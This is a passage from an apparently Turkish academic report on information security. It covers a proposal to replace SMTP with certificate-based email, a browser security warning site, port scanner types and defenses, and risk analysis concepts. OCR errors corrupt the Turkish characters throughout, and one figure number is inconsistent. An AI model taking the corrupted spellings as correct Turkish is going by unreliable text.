postalar tasiyan insanlar1 o kadar ¢ok engellersiniz. Ilk zamanlar gayet basarili bir ¢dziim
gibi duran bu ¢6zlim zaman gegctikce reklam getirenlerin islerinde uzmanlagmasi sonucunda
yeni dagiticilar1 engelleyebilmek i¢in yeni bekgiler almaniz ya da bulunan bekgiyi
giincellemeniz sonucu artan maliyetler olarak kendisini gosterecektir. Sonugta sonsuza dogru
uzayan bir bigimde gelisen dagitici, dagiticiya bagli olarak gelisen bekgi seklinde durum
uzayip gidecek bir sonuca ulagsmayacaktir. Dolayisiyla maaliyet artacaktir.

Peki sorun bu durumdayken neden firmalar sorunun ¢oziimiine egilmeden yiizeysel
¢coziimler sunmaktadirlar? Bu sorunun cevabi gayet acik olarak ornekte bulunmaktadir.
Serbest piyasada faaliyet gosteren hangi glivenlik firmasi kendi maddi kaynagini yok etmek
ister. Ya da biraz daha farkli bakis agis1 ile eger dagiticilar bir sistemde yok edilebilirse neden
gilivenlik firmasma ve bekgiye ihtiya¢c duyulsun ki! Bu durumda bu sorunun ¢6ziimiiniin
giivenlik firmalarindan beklenmesi olduk¢a yanlistir. Ayrica detayl olarak agiklandigr gibi
milyar dolarlik bir pastadan pay almak, o pastayr yok etmekten ¢ok daha mantiklidir. Bu
durumda ¢6ziim hiikiimetlere, sivil toplum kuruluslarina ve iiniversitelere diismektedir.
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Sorunun ana kaynagi sistemin kalbindedir. SMTP (Simple Mail Transfer Protocol)
posta gonderimi i¢in kullanilan en yaygin protokoldiir. RFC 821 standard: ile 1982 yilinda
olusturulmus, 1989, 1994, 1995 ve 2001 yillarinda ¢esitli diizenlemelerden ge¢mistir. Ancak
ne kadar giincellestirilirse giincellestirilsin 1982 yilinda birkag¢ {iniversitenin, arastirma
laboratuarinin ve askeri iisstin kullanim1 i¢in gelistirilen standardin milyarlarca insanin posta
ihtiyacina cevap vermesi olanaksizdir. Bu baglamda soruna ¢6ziim ararken sorunun temeline
bakmak siiphesi en dogru yaklasim olacaktir.

Bu baglamda SMTP protokolii lizerinde yapilacak bir degisiklikten 6te kalici olarak
yeniden yazilacak bir standart ile posta sistemin yenilenmesi daha efektif bir ¢oziimii
saglayacaktir. Soyle ki gelisen teknolojiler biinyesinde XML, SS vb. gibi veri ve giivenlik
teknolojileri ile birlikte bir uzman kurul tarafindan belirlenecek yeni standartlarda
kullanicilardan kimlik dogrulanmasi istenecektir. Diisiik bir meblag ile sadece yetkili kurum
tarafindan alinabilecek bu kimlikler ya da sertifikalar gonderim esnasinda postaya program
tarafindan eklenecek ve sunucu tarafindan bir anlamda imzalanmis gibi islem goérecektir. Bu
sayede hem Internet kullanicilarinin kullanmadiklar1 onlarca posta adresi yerine sadece bir ya
da iki posta adresleri olacak ancak bu adreslere gelecek herhangi bir kotii amaglh posta bir
sistemle aninda sertifika saglayiciya bildirilecek ve sertifika sahibine yasal yaptirimlar
uygulanabilecektir. Bahsedilen 6rnekle su sekilde ifade edilebilir:

Yine bir apartmanda oturuyoruz, yine istem dis1 gelen reklamlar sorun teskil ediyor.
Bu sefer kaprya bir bek¢i koymak yerine kapiya bir turnike yerlestiriyoruz. Kapidan girerken
tekil olarak verilmis kartlardan kullanilan bir turnike. Bu turnikeden gecen birisi bizim posta
kutumuza bir reklam postast birakmis ise postanin {izerinden kimligini okuyor ve
turnikemizden bir daha ge¢mesini engelliyoruz. Ayrica diger apartmanlarla aramizdaki ag
sayesinde bu kisinin bir bagka apartmana da girmesini tamamen yasakliyoruz. Bu yontem
onceki yonteme gore ¢cok daha efektif bir yontemdir. Bu sistemde karsilasilabilecek sorunlar
neler olabilir:

e Sistemin belirli bir {icreti beraberinde getirmesi ile birlikte bedava olan giiniimiiz
sistemine gore ¢ekiciliginin az olmasi

¢ Tiim diinyada milyonlarca bulunan SMTP sunucularinin yeni standarda gecisindeki
sikintilar

e En yiiksek ihtimalli sorun olarak ise pastanin ortadan yok olmasi gibi bir durum sz
konusu olacagi i¢in gilivenlik sirketlerinin takinacagi tutumlardir.

Sistemin daha ufak c¢apta bir 6rnegi olarak iilkemizde Tiibitak ya da Ulakbim
cergevesinde olusturulacak bir kurul tarafindan diizenlenecek standart sayesinde pilot olarak
iiniversite ogretim tiyelerine verilecek kimlikler sayesinde sistem iilkemiz iiniversiteleri
arasinda kullanilabilir ve hatalarin ayiklanmasi ile birlikte iilke ¢apinda kullanima agilabilir.
E-imza’nin kimlik dagitimi esnasinda kullanilabilir ve uluslar arasi bir standart haline
getirilebilir.

Sonug olarak SMTP sistemi sorunlu ve yeni sorunlara agik bir sistemdir. Bu sorunlari
asmada gecici korunmaci ¢oziimler yerine kalic1 ¢oziim getiren ¢dzlimlerin benimsenmesi
kisa vadede uyum ve entegrasyon gibi sorunlar ortaya cikarsa da uzun vadede ortaya
koyacag1 sonuglar agisindan kesinlikle ¢ok saglam olacaktir.
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5. WEB TARAYICI GUVENLIK UYARI SISTEMI

Internet erisiminin yayginlasmasiyla birlikte Microsoft Internet Explorer veya Mozilla
Firefox gibi popiiler web tarayicilarin1 kullanarak Internet’teki bilgilere erismek yani web 'de
sorf yapmak (web sorfii) giinliik aliskanliklar arasina girmistir. Web sorfi ile ilgili yaygin
olan yanilgilardan biri web’de sorf yaparken kimligimizin asla tespit edilemeyecegi bir digeri
ise web sorfii sirasinda bilgisayarimizin bir zarara maruz kalmayacagidir. Halbuki bir
kullanict gezdigi her web sitesinde kimligine ve ait oldugu kurumun bilgisayar altyapisina ait
bir takim ipuglar1 birakmaktadir. Disar1 sizan bu bilgiler dikkatlice organize edildigi taktirde
kullanicinin bilgisayarina veya calistigi kurumdaki yerel aga bagl diger bilgisayarlara erisip
giivenlik mekanizmalarint ge¢mek, kullanilan bilgisayar altyapisi ve programlarin
ozelliklerine gore etkili olacak saldirilar diizenleyerek kurumsal Olgekte zararlar vermek
miimkiindiir.

En gelismis web tarayicilarinin bile, web sorfii yapan kisinin banka hesap numarasi
veya bilgisayar sifresi gibi kisisel bilgilerinin disar1 sizmasina veya izlenilen web sayfalari
icine gomiilii olan ActiveX tiirii kodlarin kullanicinin bilgisayarina tamamen hakim olmasina
olanak saglayan giivenlik problemlerine yol agabildigi gozlenmistir. Bu tiir problemler
kullanilan web tarayicisinin kaynak kodundaki program hatalarindan veya aktif igerik
(JavaScript, ActiveX, ve Java gibi teknolojiler) sunabilen tarayicilarda bu aktif igeriklerin
tarayicinin giivenlik sisteminde bosluklar olusturabilmesinden kaynaklanmaktadir. Bunlar
kotii amagh kisiler tarafindan farkedildiginde web’deki kullanicilara zarar vermek igin
kullanilabilir. Web tarayicisi iireten yazilim sirketlerinin tiim ¢abalarina ragmen daha onceki
stirimlerdeki gilivenlik bosluklarini kapattigi iddaa edilen her yeni tarayici slirlimiinde yeni
fonksiyonlarin eklenmesi ve aktif icerik saglayan teknolojilerin daha da gii¢glenmesi
dolayistyla yeni glivenlik bosluklar1 ortaya ¢ikmaktadir.

Bu calisma sonucunda degisik tarayici tip ve siiriimlerindeki gilivenlik problemlerini
kapsayan bir arsiv olusturulmus ve web kullanicilarin1 kendi giivenlikleri konusunda
bilgilendirmek amaciyla bir web tarayict giivenlik uyar1 sistemi sitesi (MySystem)
tasarlanmistir.

6. PORT TARAYICILARIN TEHLIKELERI CALISMA YONTEMLERI VE
TARAYICILARA KARSI SAVUNMA STRATEJILERI

6.1 Port

Internet diinyasinda kullanilan "port" kavrami soyut bir kavramdir. Bu anlamda "port”
herhangi bir fiziksel baglanti yeri degil, mantiksal bir baglanma seklidir. Giiniimiiz
diinyasinda bircok isletim sistemi birden fazla programin ayni anda calismasina izin
vermektedir. Bu programlardan bazilar1 disaridan gelen istekleri (istemci/client) kabul
etmekte ve uygun gordiiklerine cevap (sunucu/server) vermektedir. Bir ag iizerindeki biitiin
bilgisayarlara birer adres (IP adresi) verilir ve bu adresler kullanilarak istenilen bilgisayarlara
ulagilir. Peki, ulasilan bir bilgisayar lizerindeki hangi sunucu programdan hizmet alinmak
istendigi nasil belirtilir? Bunun i¢in bilgisayarlar iizerinde birtakim soyut baglant1 noktalari
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tanimlanir ve her birine, adresleyebilmek icin pozitif bir say1 verilir (port numarasi). Bazi
sunucu programlari, daha once herkes tarafindan bilinen portlardan hizmet verirken (6rn:
telnet: 23. port) bazilar1 da sunucu programini calistiran kisinin istegine gore degisik
portlardan hizmet verir. Dolayisiyla, ag iizerindeki herhangi bir sunucu programa baglanmak
istenildiginde, programin ¢aligtig1 bilgisayarin adresinin yaninda, istekleri kabul ettigi "port"
numarasin1 da vermek gerekir. Port kavramini 6rneklendirmek gerekirse, bir bilgisayarin IP
adresini bir apartmanin adresi gibi diislinlirsek port numaralari ise bu apartmandaki evlerin
kap1 numaralari olarak tasvir edilebilir.

6.2 Port Tarayicisi Nedir ?

Bir program i¢in port tarayici tanimlamasini yapabilmemiz, programin bir hedef IP
icin “81.215.219.14” ye sahip calisan bir bilgisayar var m1 ? sorusunu evet/hayir biciminde
yanitlamasi gerekir. Bu anlamda ping programi, en basit tarayici programdir. Ancak aslinda
port tarayicilar hedef sisteme ait bilgileri (isletim sistemi, acik portlar v.s gibi) tespit etmek,
hedef sistemdeki zayifliklar1 bulmak, bu zayifliklardan yararlanarak hedef sisteme baglanmak
ve bu baglanti denemelerini istenilen sayida sistem i¢in otomatik olarak gerceklestirebilecek
sekilde programlanirlar.

Tarayicilari li¢ grupta toplayabiliriz. Bunlar, ag tarayicilari, zayiflik tarayicilari, saldirt
tarayicilaridir.

6.2.1 Ag Tarayicilan

Bir ag iizerindeki bilgisayarlarin ve {izerlerinde c¢alisan servislerin varligini
dogrulamak ve bu servislere ait zayifliklar1 bulmak i¢in kullanilan programlardir. Genellikle
giivenlik duvarmin islevlerini test etmek amaciyla kullanilirlar. En yaygin Ornekleri:
SATAN, NMAP, RETINA dr.

6.2.2 Zayiflik Tarayicilar

Ag tarayicilar1 gibi hedefin zayifliklarin1 bulmanin yaninda bu zayifliklarin nasil
kullanilacagint da rapor ederler. En yaygin kullanim alani yerel sistemlerin zayifliklarin
raporlamaktir. COPS ve TIGER bu tiiriin 6rnekleri arasinda sayilabilir.

6.2.3 Saldiri Tarayicilari

Hedef sistemdeki zayifliklar1 belirlemenin yaninda imkan varsa bu sisteme girmeniz
icin gerekli islemleri baslatirlar. Bu tip tarayicilar diger iki tiire oranla ¢ok daha dinamik bir
yapiya sahip olabilirler. Ornek olarak Nessus standart bir servisin standart bir portta
calistigimi varsaymaz. Eger telnet sunucunuz 23 degil de 46 numarali portta g¢alisiyorsa
Nessus bunu bulacak ve buradan sisteme girmek i¢in zayiflik taramasi yapacaktir.

6.3 Port Tarayicilara Karsi Sistem Nasil Giivenli Hale Getirilir

Kisisel bir bilgisayar1 port tarayicilara karst glivenli hale getirmek ve i¢in ii¢ basit
metodun uygulanmasi riski 6nemli 6lgiide azaltacaktir. Bunlar:
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1) Kullanilan programlarin giivenlik giincellemelerinin diizenli olarak takip edilmesi
ve gerekli yamalarin uygulanmasi. Bunun i¢in kullanilan programin web sitesinin belirli
periyotlarla kontrol edilmesi yeterli olacaktir.

2) Kisisel bilgisayarlar i¢in bir gilivenlik duvari programi kurulmasi. Kisisel
bilgisayarlar i¢in bir c¢ok giivenlik duvar1 uygulamasi Internetten Ticretsiz elde
edilebilmektedir. Ancak kurulacak giivenlik duvarini segerken dikkat edilmesi gereken birkag
0zellik bulunmaktadir. Bunlarin arasinda, giivenlik duvariin disariyla baglantilarin gegmisini
takip edebilmesi, ICMP paketlerinin biitiin tiirlerini (echo, timestamp, info, bozuk baglikli
olanlar v.s gibi) cevapsiz birakabilmesi, par¢cali olarak gonderilen paketleri yakalayabilmesi
sayilabilir. Bu 6zelliklerin segilen glivenlik duvarinda olup olmadig: iireticinin web sitesinden
ve programin yardim dosyalarindan 6grenilebilir.

3) Bilgisayarin diizenli olarak port tarayici programlarla taranmasi. Birkag¢ tane port
tarayici programla sistemdeki zayifliklar test edilmeli ve gerekli diizeltmeler yapilmali.

Bu giin kullandigimiz Internetin atasi1 sayilan ARPANET kuruldugunda bilgisayarlar,
ancak konularinin uzmani olan ¢ok sinirli sayida kisi tarafindan kullanilabiliyor, bir bilgisayar
terminaline ulagmak i¢in iyi korunan askeri veya iiniversite arastirma binalarina, giivenlik
kontrollerinin ardindan girilebiliyordu. Bu sebeplerden dolayi, TCP/IP’nin atast olan OSI
protokol modeli bilgiyi paylasmak i¢in gelistirilmisti, saklamak i¢in degil.

Giiniimiizdeki durum ise ¢ok farkli. Ozellikle 30 yasin altindaki insan kusag1 teknoloji
ve bilgisayarla i¢ i¢e yasiyor. Bunun sonucu olarak bilgi giivenligini tehdit edecek metotlarin
kullanimi, bilgisayar konusunda uzman kisilerin tekelinden, ¢oktan ¢ikmis durumda. Kisisel
bir bilgisayarin giivenligini tehdit edebilmek i¢in biraz arastirma ve Internet baglantisi yeterli
olabilmekte. Bunun sonucunda ¢ok az bilgi ile baska bilgisayarlara zarar vermeyi anlatan
“click&crack” ve bu iglemi yapanlari anlatan, “script-kiddie” ile “lamer” kavramlart dogmus
durumda. Bilgisayarindaki verilerin giivenligi konusunda endise duyan herkesin, en azindan
bu iki grup kadar bilgi giivenligine ilgi duymasi gerekmektedir. Bilgisayarin bulundugu ag
profesyoneller tarafindan korunuyor olsa bile bu yeterli degildir. Bir kisi oturdugu site
giivenlik gorevlilerince korunuyor olsa dahi, evden ¢ikarken kapisini kilitlemelidir.

Port tarayicilar ise script-kiddie ve lamerlarin en ¢ok kullandig1 araclar arasinda yer
almaktadir. Bu dokiimanda anlatilanlar iyi korunan bir bilgisayardan dahi verilerin bir anda
yok olmasinin sihir, degil yalnizca biraz bilgi ve zaman ile basarilabilecegini gostermektedir.
Port tarama metotlari, bilinen metotlarin tamami olmadig1 gibi, her zaman yeni metotlarin
gelistirilmesi olasidir. Bu sebepten bilgisayarin sagliginin, insan sagligindan daha farkli
olmadig1 ve diizenli olarak kontrol edilmesinin zorunlu oldugu idrak edilmelidir. Eger son
kullanicida zamanin bir kismim1 “Bilgisayarimdaki veriler acaba giivende mi ?” sorgusunu
yapmak i¢in harcarsa, bilgi giivenligi konudaki en 6nemli asama gec¢ilmis olacaktir.
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7. RISK ANALIZi VE YONTEMI

Insanhigin var olusundan bu yana en ¢ok merak duyulan kavramlardan biri gelecek
olmustur. Ister birey, ister toplum, ister bir sirket, kendileri ile ilgili gelecegi hep merak
etmislerdir. Gelecek konusunda belirsizlikler riske davetiye ¢ikartir. Ciinkii risk gelecekle
ilgili bir belirsizlikte tehlike cagristiran bir kavram olarak karsimiza ¢ikabilmektedir.

Her sey insanoglunun birbiri ile haberlesmesi ile bagladi ve giiniimiizde var olan tiim
adimlar bu amacla gerceklestirildi. Islikla, dumanla baslayan haberlesme teknolojisinin
ilerlemesi sayesinde bugiinkii konuma gelinmistir. Peki haberlesme amagh kullandigimiz bu
sistemler ne kadar giivenli ?

Bu boliimde; Haberlesme ile baslayan ve daha sonra kullanim kolayligi sayesinde
hayatimizin en 6nemli unsurlarindan biri haline gelen veri paylasimindaki giivenlik unsurlar
ve i¢inde bulundugumuz risk faktorleri incelenecektir.

Bilisim sistemlerine olan bireyesel ve toplumsal bagimliligimiz arttik¢a bu sistemlerde
meydana gelebilecek ariza ve saldirilara karsi duyarliligimiz da artmaktadir. Bilgisayar
sistemlerine ve aglarina yonelik saldirilar ciddi miktarda para, zaman, prestij ve degerli bilgi
kaybina neden olabilir. Bu saldirilarin hastane bilisim sistemleri gibi dogrudan yagami
etkileyen sistemlere yonelmesi durumunda kaybedilen insan hayati da olabilir.

Bilgisayar Giivenligi Enstitiisii (Computer Security Institute - CSI) ve Federal
Arastirma Biirosu (FBI) tarafindan geleneksel olarak gergeklestirilen, Bilgisayar Suclar1 ve
Giivenlik Arastirmasi’nin 2006 yil1 raporuna gore bilisim suglar1 1992- 2005 yillar1 arasinda
her yil neredeyse ikiye katlanacak bicimde (Sekil 8.1) artmistir. Ayni arastirma, gizli
bilgilerin ¢alinmas1 ve finansal kayitlarda degisikliklerin en ¢ok maddi zarara neden olan iki
saldir1 bigimi oldugu gosterilmektedir.
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Sekil 7.1 : Yillara Gére Rapor Edilen Olay Sayisi

Giivenlik ihlallerindeki bu artisin nedeni; Iyi amagh kullanilan bilgiler kadar kétii
amacl bilgilerinde hizli bir sekilde yayilmasi, maddi ve manevi hasar vermek isteyen
sakincal1 kisilerin artigina bas rolii oynamaktadir.
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7.1 Risk Degerlendirme ve Genel Kavramlar

Risk degerlendirme esas olan, riskin tiimiiyle engellenmesi degil, sorunlara sistematik
ve dikkatli bir sekilde yaklasilmasi ve almaya karar verilen risklerin dikkatli yonetimi yoluyla
gereksiz kayiplarin engellenmesidir. Basarili bir risk yonetimi i¢in, kurumun varliklarina ve
hedeflerine yonelik riskleri belirlemek, analiz etmek, denetim altinda tutmak ve izlemek
gereklidir.

Burada oOnemle iizerinde durulmasi gereken konu etkinliktir. Risklerin ortadan
kaldirilmast veya azaltilmasi i¢in denetimlerin olugturulmasi gereklidir, ancak g¢ok fazla
denetim sebebiyle is yapilamaz duruma gelinmesi de kurumlar icin bir risk faktorii
olabilmektedir. Risk ydnetimi igleyis yoOntemleri olusturulurken getiriler ve etkinlik iyi
degerlendirilmelidir.

7.1.1 Risk

Belirligi bir tehdidin, sistemin belirli bir zayifligindan faydalanarak sisteme zarar
verme ihtimalidir. Kars1 dnlemleri almadan 6nce, biiylik olan risk karsit onlemleri aldiktan

sonra azalir. Karsi dnlemler alinmadan 6nce sistemde mevcut olan riske taban riski, karsi
onlemler alindiktan sonra sistemde mevcut olan riske ise geri kalan risk denilmektedir.

7.1.2 Arta Kalan Risk

Giivenlik 6nlemleri uygulandiktan sonra kalan riskler.

7.1.3 Giivenlik

Art niyetli eylemlerden ve etkinliklerden korunmak {izere alinan ve stirdiiriilen
koruyucu 6nlemlerinden olusan durum.

7.1.4 Zayiflik

Sistemde istenmeyen eylemden sonra dogabilecek zaafiyet.

7.1.5 Saldin
Yetkisiz kisilerin, bir takim sonuglara ulasmak amaciyla gergeklestirilen bir dizi

izinsiz adim ve/veya bir kaynagin biitiinliglint, gizliligini bozmayi hedefleyen her tiirlii
eylem.

7.1.6 Saldirgan

Bir amaca ulasabilmek tizere bir ya da daha fazla saldiriy1 deneyen kisi.
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7.1.7 Kiymet

Korunmasi gereken herseydir. Kiymetler, degerli olan elemanlardir. 4 temel gruba
ayrilir;

Veri
Kaynak
Zaman
Sayginlik

7.1.8 Aciklik

Bir kiymeti tehditlere kars1 korumasiz hale getiren kusurlardir.

7.1.9 Tehdit

Bir kiymetteki agikliklar1 kullanarak kiymete kismen ya da tamamen zarar veren
etkenlerdir. Tehditler insan ve dogal kaynaklidir.

7.1.10 Kabul Edilebilir Risk Seviyesi
Kurumun kabul ettigi ve tagiyabilecegi risk diizeyidir.
7.1.11 Risk Analizi

Giivenlik risklerinin 6lgeklenmesi ve dnlem alinmasi i¢in gereken siiredir.

7.1.12 Risk Yontemi

Sistem kaynaklarmi etkileyebilecek belirsiz olaylarin belirlenmesi, denetlenmesi,
analiz edilmesi, yok edilmesi ya da en aza indirgenmesini kapsayan siirectir. Risk analizi,
fayda-maliyet analizi, sec¢im, smama, Onlemlerin giivenlik degerlendirmesini godzden
gecirmesini igerir.

7.2 Risk YOonetimi

Gergek tehditlerin simdi ve gelecekte neler olabilecegini risk yonetimi belirler. Risk
yoOnetimi, sistem kaynaklarini etkileyebilecek belirsiz olaylarin belirlenmesi, denetlenmesi,
yok edilmesi ya da en aza indirgenmesini saglayan siirectir. Risk analizi, fayda-maliyet
analizi, se¢im, gergeklestirim, sinama, 6nlemlerin giivenlik degerlendirmesi komple giivenlik
gozden gecirmesini igerir. Risk yonetiminde kesin olan tek sey degisimdir. Bu degisime ayak
uyduranlar sakincali kisilere karsi basi, sonu olmayan miicadelede her zaman bir adim
ondedirler. Sekil 7.2’ de Risk Yonetiminin temel faaliyetleri izlenmektedir.

55



Risk
Yonetimi

Risk Planlama Risk Risk Azaltma Risk izleme
Degerlendirme

Risk Belirleme Risk Analizi

Sekil 7.2 : Risk Yoénetiminin Temel Faaliyetleri

Bilisim sektoriinde risk yoOnetiminde bu ana siiregler degismemekle birlikte
uygulamalarda farkliliklar vardir. Bilisim teknoloji riskleri donanim, yazilim ve bilgiye iliskin
risklere ayr1 ayr1 odaklanarak yonetilmelidir. Yazilim ve bilginin kendine has yapisi1 risklerin
belirlenmesi, azaltmasi, izlenmesine farkliliklar getirir.

Uriinlerin icerisinde, yazilim paymnin gittikge artmas, iiriiniin performans, maliyet ve
cizelge risklerinin yonetilmesinde yazilim risklerine 6zel dikkat gdsterilmesini gerektirir.
Yazilimin elle tutulamayan yapisi belirsizligi artirirken, risk degerlendirmeyi de giiclestirir ve
iiretim siirecinin olmamas1 yazilim gelistirme siireglerine odakli risk azaltma faaliyetlerini 6n
plana ¢ikarir. Risk yonetimi yazilim miihendisligi disiplini ile entegre olarak ele alinmalidir.
Yazilim gelistirme silirecinin uygun bir yazilim gelistirme modeli (selale, artimsal, evrimsel,
spiral gelistirme vb. gibi) lizerine kurulmasi ile riskler azaltilacaktir. Yazilim gelistirmede
kullanilan teknik, ara¢ ve gereclerin uygunlugu ve etkinligi de 6nemli bir faktordiir.

Yazilim, her zaman bir donanim ile birlikte ¢alistigindan, donanim-yazilim arayiiziine
iligkin riskler iizerinde durulmasi gerekir. Yazilim kalitesi belirlenen en uygun metriklerle
(kod satiri, LOC-Line of Code, fonksiyon puani, FP-Functional Point) olgiilmeli, daha
giivenilir yazilimlarin gelistirilmesine odaklanilmalidir. Yazilim giivenilirligi ve yazilim
teknik risklerinin yonetimi bir biitiin olarak ele alinmalidir.

Yazilim maliyeti, donanim maliyetinden ayr1 ve bagimsiz bir degisken olarak ele
alinmalidir. Yazilim gelistirme konusunda yetigmis insan giicii, yazilimin kalitesini etkileyen
baslica faktdrlerdendir. Insana iliskin riskleri en aza indirgeyecek risk stratejileri gelistirilmeli
ve uygulanmalidir.

Kuruluslar daha etkin ve verimli ¢alismak ic¢in (e-devlet, e-ig, iiretim siireclerinin
otomasyonu, bilgi yonetimi, kurumsal kaynak yonetimi vb. gibi) daha fazla bilisim teknoloji
varliklar1 kullanmaktadirlar. Bilisim teknoloji varliklarimin giivenligine iliskin risklerin
yonetimi de lizerinde 6zellikle durulmasi gerekli olan bir alandir.

Risk yonetimi planlama ile baslar. Plan herseyin basindadir. Plan bir arag, planlama
ise bu araca islerlik kazandirilmasidir. Riskleri tanimlamak, analiz etmek gerekir. Analiz
sOzciuigii, analitik metodlarla sebep - sonug iliskilerinin ortaya konmasini ifade etmektedir. Bir
olayr analiz etmek, olay1r irdelemek degildir. Analiz etmenin, bilimsel yontemleri
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vardir. Analitik ¢aligmalar da istatistik yontemlerle ger¢eklemeyi ve genellemeyi gerektirir.
Risk faktorlerini belirledikden ve dl¢limlerini tamamladikdan sonra, istenmeyen tehditlerin en
alt diizeye indirilmesi i¢in ¢alismalarda bulunur. Bu yontemleri ele alirken de sorunlar1 en
bastan ele alinmaz. Daha Onceki benzer sorunlari ele alarak, yeni ortaya ¢ikmis tehditlere
kars1 yeni stratejiler gelistirir. Bunu yaparken de farkli risk faktorlerinin birbirleri ile
etkilesimleri gbz 6niinde bulundurulur.

Risk analizinde, risk 6l¢iimlerinin ve onlem alinmasi gerekli alanlarin belirlenmesi
stirecidir. Risk analizinde, riskler belirlenirken mevcut kiymetler tek tek goz ontine alinir ve
her bir kiymetin i¢inde bulundugu tehditler belirlenir. Ayrica, halihazirda mevcut olan karsi
onlemler incelenir. Daha sonraki asamada, ortaya konulmus olan kiymet, tehdit ve karsi
onlemlerinin degerlendirmesi islemi yapilir. Degerlendirilmis kiymet, tehdit ve karsi 6nlem
degerleri mantiksal metodlar kullanilarak risk degeri bulunur. Son olarak risk-kiymet
eslestirmesi yapilir.

Risk bagimli bir degiskendir ve bir ¢cok bagimli degiskenin etkisi altindadir. Bir
isletmede is kazasi riski nedir dedigimizde, bu deger, parametrik olarak ifade edilecek ise, bu
olaya etki eden faktorlerin etki derecelerinin de saptanmasi gerekmektedir.

Riskler tamamen yok edilebilir mi ? Sorusuna; Bunun maalesef miimkiin olmadigini
sOyleyebiliriz. Ancak riskler tamamen yok edilemese de azaltilabilmektedir. Bunun da risk
yonetimi ile miimkiin olabilecegi aciktir. Risk yonetimi, risk analizi ve risk degerlendirme;
gerekli Onlemlerin onceden alinarak tehlikenin bertaraf edilmesi i¢in yapilmaktadir. Cilinkii
bilinmektedir ki : “onlemek ddemekten ucuzdur”.

Internet ortaminda miisteriye yonelik bir uygulama ¢alistyorsa ve buna yonelik bir risk
yonetimi gelistirilmediyse sonug felaket olabilir. Felaketlerinin 6niine gecilirken de her tiirlii
giivenlik Onlemini sisteme monte edildiginde de sistem asir1 yliklenir ve istemlere cevap
veremez. Burada en uygun risk yonetimini ele alindiktan sonra kurumlar ve kisiler
bilin¢lendirilmelidir. Kurumlardaki herkes tarafindan giivenligin 6neminin kavranmasi ve
giivenlik kurallarina uyup bunu isinin bir parcasi olarak kabul etmesi gerekmektedir. Fakat
bunlar gergeklesmedigi siirece saldirganlar, kurumlar i¢in biiyiik bir tehlike olmaya devam
edeceklerdir.

Fakat sirketlerin ve kisilerin gereken 06zeni goOstermemesi ve bilgi giivenligini
saglayamadiklarindan dolay1 karsilarina c¢ikacak kayiplarin boyutlar1 hakkinda yetersiz
kalmaktadirlar. Giivenlik bilincinin olusturulmamasi ve teknik konulardaki eksik uygulamar,
giivenlik agiklarinin temel nedeni olarak ortaya c¢ikmaktadir. Kurumlarin ve kisilerin
sistemlerinde gerekli glivenlik yamalar1 yapmalari, bilgi sistemleri glivenligini tasarlamalari,
ve giivenlik risk analizi yonetimini gerceklestirmeleri durumunda giivenlik konusundaki
eksiklikler kapatabilir.

Sonugta “uygun karsi: planlar” 1n olusturulmasi riskin yonetilmesi demektir.

7.2.1 Risk Yonetiminin Amaci
Internet ortaminda daha giivenilir, daha hizli hizmet vermek ve almak i¢in en dogru

teknikleri getirerek sorunu veya sonradan cikabilecegi muhtemel tehditleri bertaraf etmeye
calisir. Ayrica, dogabilecek tehditlere uygun cevap verebilecek, kisith ya da kisitsiz
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tehditlerin etkisini ve olma ihtimalini azaltacak hazirliklari, prosediirleri ve kontrolleri teshis
etmektir. Bu tehditler; deprem, yangin, firtina, sel, bombalama, sabotaj, donanim veya
yazilim hatasi, kullanic1 hatasi, sistemlere izinsiz giris, bilgilerin ¢alinmasi, elektrik ve
telekominikasyon kesintisi gibi faktorler olabilir.

Risk analizi ve yonetiminin yararlar1 su sekilde siralanabilir:

e Kurumun yazil prosediir ve politikalarinin olmasini ya da olgunlagmasin1 saglar.

e Kurum ¢aliganlarinin ve bilgi islem personelinin bilgi gilivenligi konusunda bilgi
sahibi olmasini saglar.

e Bir kurum yonetiminin de bilgi teknolojileri glivenligi konusunda bilgi sahibi olmasini
ve bu konularda karar vermesini saglar.

e Risk analizi prosesinin ilk kisminda yapilan kiymet analizi sonug¢larmin kurumun
yazilim ve donanim envarterlerinin yenilenmesinde yardimci olur.

Risk analizi ve yOnetiminin yapilmadigi bir bilgi sisteminde asagidaki durumlar
olabilir:

¢ Bu bilgi sisteminde hi¢ giivenlik olmayabilir ya da ¢ok az giivenlik olabilir.

e Kullanabilirligi olduke¢a azaltan ¢ok fazla giivenlik olabilir.

e Yanlis giivenlik 6nlemleri alinmis olabilir.

e Insanlarda yanlis giivenlik bilinci olabilir.

Biitiin bunlar maddi ve zaman olarak kayiplara yol agan durumlardir. Iki temel risk
analizi yontemi mevcuttur. Bunlar nicel ve nitel yontemlerdir.

7.2.1.1 Nicel Risk Analizi

Gegmisten dersler alinarak, daha sayisal degerlerle risklerin tehditkarliginin
belirlenmesi ¢aligmasidir. Riski hesaplarken sayisal yoOntemlere bagvurur. Nicel risk
analizinde, kiymet, tehdit olma ihtimali, tehditin etkisi gibi degerlere sayisal degerler verilir
ve bu degerler matematiksel ve mantiksal metotlar ile proses edilip risk degeri bulunur.
Kullanilacak ara¢ ve teknikler ise sunlardir: Duyarlilik Analizleri, Karar Agac1 Analizleri,
Simiilasyon (Bu teknikler istatistik, yoneylem arastirmasi gibi matematiksel disiplinlerin
tirevleridir). Bu teknikler uygulandiktan sonra proje yoOneticisi risklerin tehdit giicline gore
siralamasina, hedef siireye ve maliyete projeyi bitirme olasiligina, risklerin egilimlerine ve
onleme fikirlerine ulasacaktir.

7.2.1.2 Nitel Risk Analizi

Tanimlanmis risklerin gergeklesme olasiliginin ve etki giicliniin degerlendirildigi
siirectir. Ozellikle uzmanlarin goriislerine basvurularak, risklerin etki ve olasiliklarmmn
siralanmasint hedefler. Nitel risk analizini yapabilmek i¢in risk yonetim planina, tanimli
risklere, kurumunuzda kullanilan olasilik ve etki Glgeklemesine ve projenin en basinda
tanimlanan varsayimalara ihtiyaciniz vardir. Risk olasilik ve etki arastirmasi, olasilik / etki
glicii matrisi olusturma, varsayimlarin detayl analizi, veri dogruluk siralamasi gibi ara¢ ve
teknikler kullanarak, projenin genel risk tehdit siralamasi, risklerin egilimleri ve dnleme
fikirlerini ortaya ¢ikarabilirsiniz.
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Riski hesaplarken ve ifade ederken niimerik degerler yerine yiiksek, ¢ok yiiksek gibi
tamamlayict degerler kullanilir. Risk analizi ve yoOnetimi ile birlikte gelen bir takim
problemler ve ideal olmayan durumlar vardir. Bunlar:

e Risk analizinin maliyeti yiliksek olmasidir. Risk analizini kurumun kendisi yapsa bile
zaman ve para kaybina yol agabilmektedir.

e Risk analizi sonuglanana kadar gecen siire diger bir problemdir. Giivenlik
onlemlerinin biran evvel uygulanmasi gerekirken, risk analizi sonucu beklenmek zorundadir.
